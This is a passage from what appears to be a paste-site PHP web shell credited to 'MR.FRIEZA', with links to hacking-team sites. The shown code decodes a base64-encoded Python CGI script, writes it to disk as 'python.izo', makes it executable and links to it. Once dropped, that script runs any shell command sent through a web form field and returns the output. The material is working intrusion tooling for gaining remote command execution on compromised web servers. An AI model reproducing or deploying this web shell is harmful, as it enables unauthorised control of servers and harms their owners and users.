  566. IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
  567. dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
  568. ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
  569. IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  570. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
  571. cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
  572. IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
  573. ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
  574. YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
  575. KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
  576. aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
  577. PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
  578. PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
  579. ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
  580. ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
  581. dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
  582. aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
  583. biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
  584. bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
  585. TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
  586. bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
  587. ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
  588. SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
  589. ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
  590. cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
  591.  
  592. $file = fopen("python.izo" ,"w+");
  593. $write = fwrite ($file ,base64_decode($pythonp));
  594. fclose($file);
  595. chmod("python.izo",0755);
  596. echo"<p></p>";
  597. echo "<br><b><a href=mini-python/python.izo target='_blank'><div><span style=color:#6ebe0b;font-family:Arial;font-size:11px;>Click On This Link To Mini-Python </span></div></a></b>";
  598.  
  599. }
  600.  
  601.  
  602.  
  603. ?>
  604.  
  605.  
  606.  
  607.  
  608. <br><br><div style="padding:10px;border-bottom:0px solid #fff;border-top:0px solid #ddd;background:white;">
  609.  
  610. <span style=color:#a7a7a7;font-family:Arial;font-size:12px;>
  611.  
  612. Coded By :<a target="_blank">MR.FRIEZA</a> N0 Rights Reserved.<a>Visit Us In <a href ='http://s3c-k.com'>s3c-k</a>-<a href ='http://iq-team.org/vb'>iq-team</a>-<a href ='http://is-sec.com'>is-sec</a>-<a href ='http://v4-team.com'>v4-team</a>
  613.  
  614. <span ></div>
Add Comment
Please, Sign In to add comment